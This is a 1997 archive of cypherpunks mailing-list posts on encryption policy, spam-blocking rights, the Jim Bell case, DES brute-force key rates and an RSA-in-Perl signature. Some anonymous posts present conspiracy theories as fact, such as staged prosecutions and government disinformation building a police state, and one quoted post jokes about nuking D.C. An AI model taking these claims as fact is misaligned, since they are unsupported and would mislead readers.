At 02:36 AM 5/19/97 -0700, Greg Broiles wrote:
>I ran across this entry in the Congressional Record which discusses several
>examples where encryption was discovered in the course of a law enforcement
>investigation. 
>
>[Congressional Record: September 18, 1996 (Senate)][Page S10882-S10886]
>
>[...]
>
>Mr. GRASSLEY. Mr. President, I'm pleased that the Senate has passed 
>the eonomic espionage bill. This is an important measure that I believe 

[...]

>  The third case, however, especially illustrates the seriousness of 
>decryption problems--determining the unique key or in this case, 
>password from a large number of possibilities. According to Agent 
>Davis, a mere 4 character password has 1.9 million possibilities due to 
>the number of keyboard characters. Can you imagine how difficult it 
>must be to figure a short, 4 character password. What if the password 
>were 10 characters or 20 or more? It's easy to see why criminals are 
>moving toward password protection for their records.

With the congress so woefully uninformed that they confuse password 
protection with cryptography and naive enough to believe that 1.9E6 
possibilities represents a serious roadblock to entry, it looks like we have 
a major education effort to perform.

It is interesting that there were no examples in this summary of crypto used 
for communications -- but that's completely consistent with what we've been 
hearing all along.

 - Carl


+------------------------------------------------------------------+
|Carl M. Ellison  cme@cybercash.com   http://www.clark.net/pub/cme |
|CyberCash, Inc.                      http://www.cybercash.com/    |
|207 Grindall Street   PGP 2.6.2: 61E2DE7FCB9D7984E9C8048BA63221A2 |
|Baltimore MD 21230-4103  T:(410) 727-4288  F:(410)727-4293        |
+------------------------------------------------------------------+





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Fri, 23 May 1997 17:12:58 +0800
To: cypherpunks@toad.com
Subject: Re: Spam Prevention System?
Message-ID: <199705230854.EAA23450@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


I was wondering if perhaps a way to minimize the hassle with sitting
on one's thumb while waiting for unwanted email to download could be
eased by an email program which retreived only headers, allowed you to
delete the unwanted ones, and then retrieve the wanted ones, deleting
the rest.
  Is this feasible?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Fri, 23 May 1997 18:59:52 +0800
To: cypherpunks mailing list <cypherpunks@algebra.com>
Subject: Quotation for 5/23/97
Message-ID: <3.0.1.32.19970523063805.009cb800@gateway.grumman.com>
MIME-Version: 1.0
Content-Type: text/plain


________________________ R i c k   O s b o r n e ________________________
Today's quote of the day seems only *slightly* appropriate for this list. :)

>Before all else, be armed.                                  
>Machiavelli (1469-1527)

_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
If it weren't for doctrine, a lot of the world's religions would get
along a lot better, because the core roots of their beliefs aren't that
dissimilar, it's the interpretation and the rules that grew up around
them that seem to cause all the trouble.
J Michael Straczynski -- Creator of _Babylon_5_





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Fri, 23 May 1997 19:20:06 +0800
To: John Young <cypherpunks@toad.com
Subject: Re: V-Chips for the Internet
In-Reply-To: <1.5.4.32.19970523022930.00970284@pop.pipeline.com>
Message-ID: <3.0.2.32.19970523070030.03c8abfc@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

>
>Quote:
>
>                MS. LEWIS: It's our understanding, and we just checked
>this with people at the White House who know much more about 
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>technology than all of us put together, that there is in fact technology 
 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>being developed that would serve as the equivalent of a V-chip for the
>Internet, and we think that's what the President referred to.


Quite a sense of humor that.

DCF


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 23 May 1997 23:16:17 +0800
To: cypherpunks@toad.com
Subject: Re: The Natives Are Getting Restless
Message-ID: <199705231449.HAA12598@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



Friday, May 23, 1997 - 16:33:14 MET

It has been said that the greatest lesson learned from the vietnam 
war by the military industrial complex, was the need for effective 
disinformation and its role in dividing groups that would otherwise 
hang together against a common enemy.

Applied to the home front this translated into "identity" politics. 
To break up the antiwar and youth movements of the 60s, everyone 
was defined as a minority with their own agenda and lexicon. 
Feminists, Vanishing White male,  Black Power advocates, 
Gays/Lesbians,  christian peaceniks, hispanic farm workers, etc each 
was pitted against the other by underscoring their departure points 
in a machevelian plan to divide and conquer those that had united 
against the war and the MIC.

For the most part this has been extremely 
successful and any meaningful dialogue on a national scale has long 
been next to impossible because of it.

List members should be the first to rise above the base tactics of 
the enemy. We need to develop a language of inclusion that unites all 
of these seemingly disparate peoples against the common enemy.



> Blanc wrote:
> 
> > If this society is at war, it is a Civil War, fighting against itself.   In
> > fact, there are many groups fighting against each other, on many different
> > levels:  racial, gender-based, religious, economic, philosophical, not to
> > leave out political.    Companies are fighting each other "tooth & nail"
> > for survival in marketing turfs, races are still exchanging vicious barbs,
> > homosexuals are under verbal & physical attack by the socially "normed",
> > the poor still envy & disparage the rich, women & children seem more than
> > ever to be at risk to attacks from roving sex perverts, the liberals would
> > love to put the libertarians under, religious groups lecture against the
> > moral depravity of all those "other" people, and half the country is either
> > stocking up for a National Disaster or forming into militia groups or other
> > Think Tanks to fight some sort of government encroachment (even the health
> > food stores where I shop are always posting sign-up sheets to vote against
> > something or another the government wants to ban or some right-of-choice
> > that is being threatened by proposed legislation).
> 
>  Second only to Miss Piggy among deep thinkers, Mrs.
> Wiggs, the one with the cabbage patch, said this: "In the
> mud and scum of things ... Something always always
> sings."
> 
>   I am grateful that there is at least one female on the list who
> is capable of stepping into the middle of the "Dick Wars" on the
> list and reminding the men that the "targets" they talk about have 
> names, faces, and children.
>   I am aware that there is a human cost inherent in every conflict,
> and I accept that it will always be so, but I cannot accept the
> idea that one can leave their conscience clear by "criminalizing"
> their target and discounting their target's humanity.
>   I am an anarchist and a realist. If I had a button that would
> nuke D.C., I might well push it--but I am also a thinking, feeling
> human, and I would cry a river of tears, as well. When I estimate
> a "body count", I never fail to count the children.
> 
>   Blanc's aim is true when she speaks of the growth of reactionary
> posts to the list which fail to include a foundation of creative
> thought. 
>   Anyone can return fire when attacked and turn the situation into
> a firefight where a random volley of ammo decides the outcome of
> the battle. However, a good squad leader already has his defences
> in place to deal rationally with situations that can easily be
> forseen before they arise.
>   When "they" come for your neighbor today, will you be surprised
> when they come for _you_ tomorrow? When I first heard of Jim Bell's
> arrest I began composing a reply to Hallam-Baker's coming post. It
> may be vocal and emotionally charged, but it is not done solely
> out of blind reactionism.
> 
>   God bless Blanc.
> 
> TruthMonger -96
> 
> 
        





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 23 May 1997 21:52:52 +0800
To: Cypherpunks@toad.com
Subject: SIGH Kent clueless again(was Re: spam is a good thing (was Re: Spam IS Free Speech))
In-Reply-To: <19970522144701.16280@bywater.songbird.com>
Message-ID: <199705231330.IAA29895@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <19970522144701.16280@bywater.songbird.com>, on 05/22/97 
   at 03:47 PM, Kent Crispin <kent@songbird.com> said:

>On Thu, May 22, 1997 at 03:07:14PM -0500, William H. Geiger III wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>[...]
>>I as the owner of
>>certain computer equipment have the right to determin who uses such
>>equipment and how. It should be no different that my right to determin who
>>can enter my house and who can not.

>Your analogy is flawed in many ways.  1) The entities entering your 
>house have an identity; what is actually entering your computer 
>equipment is just bits, which have no identity.  Spamfords bits are  no
>different than anyone elses.  2) By the very act of connecting to  the
>network you agree to recieve any bits that are automatically  routed to
>you.

No not at all. Just because I am connected to the network I am under no
obligation to accept a single bit. I don't have to ever download any mail
or I can download all or I can pick and choose what I accept or what I
don't.

>>If I inform Spamford that he is not
>>welcome in my house and he still insists on comming in I should have some
>>recource to stop him.

>You are perfectly free to disconnect your computer from the net.  You are
>free to try to find a provider that guarantees not to pass any spam on to
>you.  But unless you have some contract with your provider that specifies
>special rights, when you sign up you implicitly agree to accept the bits
>aimed at you -- otherwise you couldn't receive any email at all.  What
>you get on the wire is a function of explicit and implicit contractual
>obligations.  This is true whether you are UUNET peering with ANS or
>whether you are a PC on a dialup line.

Obviously you have not ever entered into contract agreements with an
accesses provider. There is no obligation on my part to receive a single
bit. If I never run a sendmail daemon then I will never receive a single
e-mail message regardless of how many are aimed at my servers. This is the
same with any TCP/IP service. The only obligation I have with my upstream
provider is to pay my bill. If I choose to bounce everything that is
routed from Spamford it is my right to do so as it is *MY* equipment. 

>>
>>IMHO this can be taking care of through civil courts hitting the spamers
>>where it counts in the wallet. As far as identification this is quite
>>simple to do without the above measure.

>Identification isn't the problem at all.  The problem is that you  have
>no grounds on which to base a suit.  Just as you can't sue me for 
>sending this mail -- it's an exchange you entered into of your own  free
>will.

For the occasional spam then a lawsuit would be pointless. If you decided
to dump 10,000 messages a day and deny the use of my equipment by myself
and my clients then I would have a very strong case for litigation. You
seem to forget that this is MY equipment and it is you who have no rights
regarding the use of it. I have the final say so as to who uses it and
how.

> Even if Spamford uses tricks to
>>cover his tracks his clients are known as they tell you who they are in
>>their spam. Traceing back to Cyber-Momo is trivial once his clients are
>>known. IMHO when Compu$erve suied Spamford thay should have listed all of
>>his customers in the lawsuit.
>>
>>>Yeah but he didn't kick anything in, he just used something which was
>>>setup to be used for free, in an unmetered fashion, where no contracts
>>>were agreed to before hand.
>>
>>No it was not. Just because you leave a door unlocked does not mean that
>>anyone has the right to enter. If you run into the store and forget to
>>lock the doors on your car does that mean that anyone has the right to
>>drive off in your car? If you leave the front door unlocked on your house
>>does that mean that anyone can walk in and help themselfs to the contents
>>of your house?

>All flawed analogies.  You *did* agree to recieve mail -- in fact,  that
>is one of the primary uses of your computer -- and you did *not*  place
>any restrictions on that connection.  Furthermore, you can't -- 
>no one will sell you an internet connection at any level where they 
>will accept a contractual obligation to keep spam from getting to you.

Once again it is you who have it wrong. I have agreed to nothing other than to pay my bill for my connection. If Cyberpromo starts filling my clients mailboxes with spam and tieing up bandwidth I am under an obligation to my client to stop him from doing so. My obligation is to my clients to provide the services they have paid for. I would be remiss in my duties if I allowed such actions to continue both to my contractual obligations to my clients but also my feudatory responsibilities to the stockholders of my corporation.

You do not have a right to send mail to my system I have an obligation to my clients to allow them to receive mail. This is a important distinction that needs to be made. You have no rights regarding the use of my equipment. Furthermore if your actions deprive the use of my equipment by myself and my clients you can find yourself both financially and criminally liable.

>[...]

>>I never have argued for more legislation of the internet for any reason. I
>>just think that creative use of current laws can put an end to this
>>pestilance. I don't see remailers being hurt in this as the whole purpose
>>of spam is to be non-anonymous (you can't sell anything if they don't know
>>where to send the money to). I do think that litigation can be used
>>effectivly to put an end to Spamford without changing the current
>>structure of the internet.

>I don't see any legal basis for it. 



- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Windows: The CP/M of the future!

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Tag-O-Matic: He who laughs last uses OS/2.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Fri, 23 May 1997 23:51:25 +0800
To: cypherpunks@cyberpass.net
Subject: Spam complaints 14 times worse than Spam.
Message-ID: <199705231530.IAA24640@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain


This was from:

Tasty Bits From The Technology Front

 Your Host:  Keith Dawson

    This issue: <URL:http://www.tbtf.com/archive/05-22-97.html>

..Mailing-list spammers..

    Email spam is the favorite gripe of most Netizens, excepting the
    spammers. Congress is considering legislation [25] to limit the
    practice of sending unwanted commercial email in bulk. Not everyone
    thinks this is a good idea. See [26] for a thread from an ongoing
    debate on Declan McCullagh's fight-censorship mailing list. George
    Matyjewicz <mosaic1@ix.netcom.com> did a modest experiment on a
    week's worth of his email -- he is on 56 mailing lists and gets
    around 200 messages a day -- to gauge how widespread the problem
    actually is. Matyjewicz posted these results:

                        week     avg/day

      Total messages    1,354    193.4
      Spam messages        10      1.4     < 1 %
      Spam complaints     189     27.0      14 %

    Mailing-list owners share information on the addresses from which
    commercial spam messages originate. Recently Alexander Verbraeck
    <A.Verbraeck@duticai.twi.tudelft.nl> posted a particularly compre-
    hensive list of purported spammers. I have taken the liberty of
    preserving a snapshot on the TBTF archive [27], sorted both by email
    address and by "virulence" -- the total number of messages sent by
    each spammer over a given time period to two of Verbraeck's lists.
    Thanks to Tom Parmenter <tompar@world.std.com> for the tip.

    [25] <URL:http://www.news.com/News/Item/0%2C4%2C10875%2C00.html>
    [26] <URL:http://www.tbtf.com/resource/to-ban-spam.html>
    [27] <URL:http://www.tbtf.com/resource/spammers.html>

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 23 May 1997 17:10:54 +0800
To: ichudov@algebra.com
Subject: Bcc's & cpunks@algebra.com forwards
In-Reply-To: <199705230408.XAA32582@manifold.algebra.com>
Message-ID: <199705230735.IAA00651@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Igor Chudov <ichudov@algebra.com> writes:
>
> plz do not use bcc

Why not?  It is quite convenient for coping with the non-cross posting
policy of other groups.

Also what is it with the <cpunks@manifold.algebra.com> forwards, why
are these coming to the list forwarded from that address?  Are they
things which failed your procmail filter manually forwarded
afterwards?

Adam





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: CDR Filter Account <cpunks@einstein.ssz.com>
Date: Fri, 23 May 1997 23:02:32 +0800
Subject: No Subject
Message-ID: <199705231416.JAA19900@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 23 May 1997 22:44:41 +0800
To: cypherpunks@toad.com
Subject: Re: Spam Prevention System?
In-Reply-To: <199705230854.EAA23450@dhp.com>
Message-ID: <199705231429.JAA30660@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <199705230854.EAA23450@dhp.com>, on 05/23/97 
   at 02:54 AM, lucifer@dhp.com (lucifer Anonymous Remailer) said:

>I was wondering if perhaps a way to minimize the hassle with sitting on
>one's thumb while waiting for unwanted email to download could be eased
>by an email program which retreived only headers, allowed you to delete
>the unwanted ones, and then retrieve the wanted ones, deleting the rest.
>  Is this feasible?

Yes it is but will not help much. As seen with the subject lines of the
ascii art posted to the list it is quite simple to give a message a
subject that would not reveal that it was spam until the entire message
was downloaded and opened.


- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: To whom the gods destroy, they first teach Windows...

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ghio@temp0084.myriad.ml.org (Matthew Ghio)
Date: Sat, 24 May 1997 01:17:59 +0800
To: cypherpunks@cyberpass.net
Subject: Re: V-Chips for the Internet
In-Reply-To: <1.5.4.32.19970523022930.00970284@pop.pipeline.com>
Message-ID: <199705231651.JAA27071@myriad.alias.net>
MIME-Version: 1.0
Content-Type: text/plain


> A White House press briefing today describes Clinton's
> plan for providing V-chips for parents to control childrens'
> access to the Internet. Technology is being developed for
> that purpose.

Yeah, last I heard, SurfWatch was already selling it, even.  Amazing,
that - the pace of technological advancement.

;-)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Fri, 23 May 1997 22:21:03 +0800
To: cypherpunks@toad.com
Subject: Salvador Allende meets Kevin Kelly
In-Reply-To: <1.5.4.32.19970523022930.00970284@pop.pipeline.com>
Message-ID: <3.0.2.32.19970523095605.03675af8@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

The Front Lines column on the Marketplace page in Today's WSJ:

http://interactive3.wsj.com/edition/current/articles/FrontLines.htm

May 23, 1997

Entrepreneurs Become Leaders In the New World, Flores Says

I FIRST HEARD the name Fernando Flores...

Before I had the chance to check out the guy, I received an e-mail 
from a former top Air Force general. He mentioned he had been deeply 
influenced by a philosopher, business consultant and onetime political 
prisoner named Fernando Flores. How often do you see those 
descriptions on the same resume?

...

Trained as an engineer, at age 28 he became finance minister in the 
Marxist regime of Salvador Allende in 1970. ....

THEN, IN 1973, ... Mr. Flores spent three years in prison brooding 
over the notion of computers for communication rather than 
computation. ...

When Amnesty International and others won his release in 1976 ...

- From the German philosopher Martin Heidegger he learned ...

"A human society," as he puts it, "operates through the expression of 
requests and promises."

A business, likewise, is a collection of simultaneous conversations, 
and every conversation involves an act of commitment. ...

Working with the computer scientist Terry Winograd, he created a 
product to transform computer workstations from solitary appliances 
into devices for tracking commitments between workers. ... 
"groupware." ...

IF DR. FLORES becomes famous for anything, it may be for a concept of 
entrepreneurialism he has described in a forthcoming book from MIT 
Press called "Disclosing New Worlds," co-authored with the 
philosophers Charles Spinosa and Hubert Dreyfus. In a time of vapid 
values and insipid politics, they say entrepreneurs are becoming the 
leaders of the world. While the typical capitalist merely forecasts 
human needs, they argue, "the entrepreneur is the person who 
determines which needs will seem important."

......



DCF


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-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Sat, 24 May 1997 01:21:43 +0800
To: Tom Weinstein <tomw@netscape.com>
Subject: Re: More stories from the Bell jar...
In-Reply-To: <33853CBA.2781@netscape.com>
Message-ID: <Pine.GSO.3.96.970523101021.6292D-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 22 May 1997, Tom Weinstein wrote:

> Alan Olsen wrote:
> > 
> > In late April 1984, someone broke into law offices at 1123 S. W.
> > Yamhill St. and poured a liquid on a hallway run that was so
> > odorous it made at least one of the lawyers who smelled it vomit
> > twice.
> 
> What's the statute of limitations on stink bombs?  Surely, it's too
> late to prosecute him for this?

I think they are using it to link him to a similar attack on an IRS office
in Vancouver in the much more recient past.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Sat, 24 May 1997 02:06:55 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Spam Prevention System?
In-Reply-To: <199705231429.JAA30660@mailhub.amaranth.com>
Message-ID: <Pine.GSO.3.96.970523101839.6292E-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 23 May 1997, William H. Geiger III wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> In <199705230854.EAA23450@dhp.com>, on 05/23/97 
>    at 02:54 AM, lucifer@dhp.com (lucifer Anonymous Remailer) said:
> 
> >I was wondering if perhaps a way to minimize the hassle with sitting on
> >one's thumb while waiting for unwanted email to download could be eased
> >by an email program which retreived only headers, allowed you to delete
> >the unwanted ones, and then retrieve the wanted ones, deleting the rest.
> >  Is this feasible?
> 
> Yes it is but will not help much. As seen with the subject lines of the
> ascii art posted to the list it is quite simple to give a message a
> subject that would not reveal that it was spam until the entire message
> was downloaded and opened.

Misleading spam subject lines are nothing new.  (Just got one today, in
fact entitled "Aren't you the one who...".) 

The idea (in the spammers small little brain) is to make the subject
something that you would want to open and read.  (Why they think I am
willing to wade through 20+k of marketting drivel is beyond me...) Much of
these ideas are similar to direct mail marketting campaigns, but without
the graphical or ethical content.

The idea behind marketing spam is that people are more willing to buy your
product if you spit in their face first or attack it to rocks and throw it
through their windows.

Now all that needs to happen if for these people to get a connection to
the clue server and figure out that such actions are not helping them any.

[Clue #1 for Spammers:  If you have to hide the source of your message,
maybe there is something seriously wrong with how you are delivering it.]
  






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 24 May 1997 02:18:25 +0800
To: cypherpunks@cyberpass.net
Subject: reporting standards and Jim Bell
Message-ID: <199705230942.KAA01227@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



I noticed an example of the sort of reporting standards which the news
media is sinking to in reporting on Jim Bell's case... observe these
two quotes:

The Oregonian, May 20, 1997, Metro Section P-1:
: Daly described his friend of 15 years as a "bit of an odd unit" but never
: dangerous and never serious about attacking the 9-1-1 systems or the
: Bull Run watershed.
:
: "I'd rat him out in a heartbeat for that," Daly said.

So... Daly considered Jim to be merely discussing technical
feasibility of attacks, something we do every day on cpunks.  Daly
says if he had ever considered Jim was thinking of carrying out any of
the hypothetical attacks, that he would have reported him instantly.

OK... now this other quote from another news story (forwarded by
Dimitri to the list from a post in or.politics quoting some newspaper).

: And during the interview Daly appeared to crack and turn state's 
: evidence when Daly offered to "rat (Bell) out in a heartbeat."

Sounds like a quote of the same comment by Daly.

Sounds like the newspaper(s) in question are having fun, creatively
misquoting, and fabricating to work up a story.  Not knowing the truth
behind any of this stuff, it makes one wonder how much truth there is
in the other details of the story as reported by the gutter press.

I noticed someone called "the Oregonian" the local
fishwrap... presumably implying it is one of those sensationalist
news-fiction newspapers, which are continually being sued for liable
for printing fictitious garbage about media personalities.  Perhaps
similar to the UK "the Sun", etc. (a combination of titilating
fictional "gossip" and nude pin ups, populist news for the masses).

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 23 May 1997 23:28:36 +0800
To: Carl Ellison <gbroiles@c2.net>
Subject: Re: Crypto use to foil law enforcement?
In-Reply-To: <199705201915.MAA22723@comsec.com>
Message-ID: <v0302097aafab5e51099f@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain


At 3:21 am -0400 on 5/23/97, Carl Ellison wrote:


> With the congress so woefully uninformed that they confuse password
> protection with cryptography and naive enough to believe that 1.9E6
> possibilities represents a serious roadblock to entry, it looks like we have
> a major education effort to perform.

For 35 years we've sown innumeracy, and now it's time to reap the harvest,
I'm afraid.

Heinlein once half-jokingly proposed that all voters have to prove they can
solve a quadratic before they can vote.

That joke's not so funny anymore.

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 24 May 1997 02:31:01 +0800
To: cypherpunks@cyberpass.net
Subject: No Subject
Message-ID: <199705231756.KAA21831@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


  It's naieve to assume that Bell was even the target.  World
gov't/military machines learned their PR lessons in vietnam.
As a part of a greater plan, it makes sense.  

  If the stinkbomb allegations are fact, then they have enough to
convict him on something minor like assault, possibly with
intent or with a weapon.  That would help, but wouldn't be 
required.  They most definitely have posts with his name on
them and people who would testify to his being of the 
libertatian/radical bent.  Neither of those will likely hold up
in court, but that's ok.  

  The US is still reeling from OK City.  Tried as it might, the US gov't
couldn't find an outside enemy to pin it to.  Whether
Timmy did it or not is again irrelevant, they needed to find 
someone to blame and did.  Now that it's the defenses turn, it 
would be useful to remind people of the scar--get someone for
"conspiring" to do it again.  Bring up that hatred again--can't
hurt the prosecutions case.  

  Markoff's and Littman's versions of the Mitnick saga are 
indeed most interesting.  Shimomura's machine gets broken into and there
was _something_ on there that _someone_ wanted back pretty badly.  Does it
matter if he did it?  _Someone_ did, and
that alone is usable.  BTW, we get to wash the egg off the FBI.

  Sommi the "cyberstalker" goes unfound for months.  Come on,
we all know that no one could be that stupid.

  Ultimately, these add up in the mind of Joe public online.
He's scared of hackers and organizations that promote
libertarianism.  "We can protect you from them if you let us."
At this point the collective conscious doesn't care about
losing what it percieves as a tiny amount of freedom to keep
itself and it's offspring safe.  

  And that's the game.  The more a gov't oppresses, the more
paranoid it needs to be.  Becoming a police state is simple, 
becoming a welcomed police state takes careful planning.


Prior planning prevents piss poor performance
 -- sparky





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 24 May 1997 02:57:30 +0800
To: cypherpunks@cyberpass.net
Subject: Bell Jars and Jarheads
In-Reply-To: <3.0.2.32.19970522204359.00b37cc0@mail.teleport.com>
Message-ID: <v03102804afab9274435b@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 7:43 PM +0200 5/23/97, Anonymous wrote:
>>>I guess the only *real* solution is to get rid of the thugs.
>>
>>Possibly the real solution is not to do stupid things.
>
>
>The "Rodney King" effect here is amazing.  Jim Bell was not quite a model
>citizen.  I don't think most of us would consider stinkbombing office
>buildings normal behavior.  But that was 13 years ago, and compared to
>what the feds did to him, Jim Bell comes out looking like an angel.  All
>things are relative.

The stink bomb charge that would stick would be the March 17th event, if
this is proven to be Bell's doing.

I would've thought this would be "malicious mischief," at most. People
who've done far, far, far worse are left unprosecuted in every major
jurisdiction in this country. The  meat thrown to the media--the usual AP
stuff, mixed in with "radical libertarian" descriptions--is just to make
the case more media-interesting.


>PS  For the benefit of our non-technical readers, a bell jar is a glass
>dome used in vacuum experiments.  AFAIK, you can't make a stink bomb in
>one. :)

Huh? Bell jars, to be pedantic, don't have to involve vacuums, obviously.
And a stink bomb could certain fill even a vacuum jar. (Maybe the stink
would not be smelled, a la Bishop Berkeley, though...)

In any case, more of an allusion. Perhaps even to Plath. Or to the Marines,
aka Jarheads. Or to Bell's Theorem. Or to....

--Tim May





There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Sat, 24 May 1997 00:21:13 +0800
To: cypherpunks <cypherpunks@toad.com
Subject: Re: [NTSEC] 64-bit En/Decryption speed (fwd)
Message-ID: <Pine.SUN.3.91.970523120948.11899D-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



---------- Forwarded message ----------
Date: Thu, 22 May 1997 13:22:42 +0000
From: Alan C. Ramsbottom <acr@als.co.uk>
To: ntsecurity@iss.net
Cc: stoutb@pios.com
Subject: Re: [NTSEC] 64-bit En/Decryption speed

> Consensus is that Alpha CPUs can run crypto operations 10x faster than
> Intel-based systems, but to say it's based on the 64-bit-ness of the CPU
> alone is false.

Is everyone aware of the RSA DES challenge? In essence the 
task is to brute-force DES. You can find more information at:

   http://www.eskimo.com/~joelm/des.html

DESCHALL is one of real-world programs written to take up the 
challenge and reports the figures:

 DEC AlphaStation 600 5/333 ... 2.944M keys per second
 Dual Pentium 200 MHz ......... 2.003M keys per second
 SGI Onyx2 (194 MHz R10000) ... 1.943M keys per second
 HAL 385 (161 MHz Sparc64-II) . 1.660M keys per second
 UMAX S900 250MHz 604e ........ 1.368M keys per second
 AlphaStation 255/233 ......... 1.297M keys per second
 PowerMac 8500 200MHz 604e .... 1.095M keys per second
 PowerBook 3400 240MHz 603e ... 1.065M keys per second
 Sun Ultra2 Dual CPU .......... 1.060M keys per second
 PowerMac 8500 180MHz 604e .....  990K keys per second
 PentiumPro 166MHz .............  901K keys per second
 HP 9000/780C 180Mhz ...........  870K keys per second
 PentiumPro 180MHz .............  850K keys per second
 [snip]

I do not know how well this program is optimised for specific 
platforms, if at all. However I can confirm that other programs 
written for the challenge give similar results on Intel 
Platforms.

Regards,

--Alan--
acr@als.co.uk





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 24 May 1997 02:46:58 +0800
To: Alan <alano@teleport.com>
Subject: Re: Spam Prevention System?
In-Reply-To: <Pine.GSO.3.96.970523101839.6292E-100000@linda.teleport.com>
Message-ID: <199705231820.NAA01390@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.GSO.3.96.970523101839.6292E-100000@linda.teleport.com>, on
05/23/97 
   at 11:27 AM, Alan <alano@teleport.com> said:

>> -----BEGIN PGP SIGNED MESSAGE-----
>> 
>> In <199705230854.EAA23450@dhp.com>, on 05/23/97 
>>    at 02:54 AM, lucifer@dhp.com (lucifer Anonymous Remailer) said:
>> 
>> >I was wondering if perhaps a way to minimize the hassle with sitting on
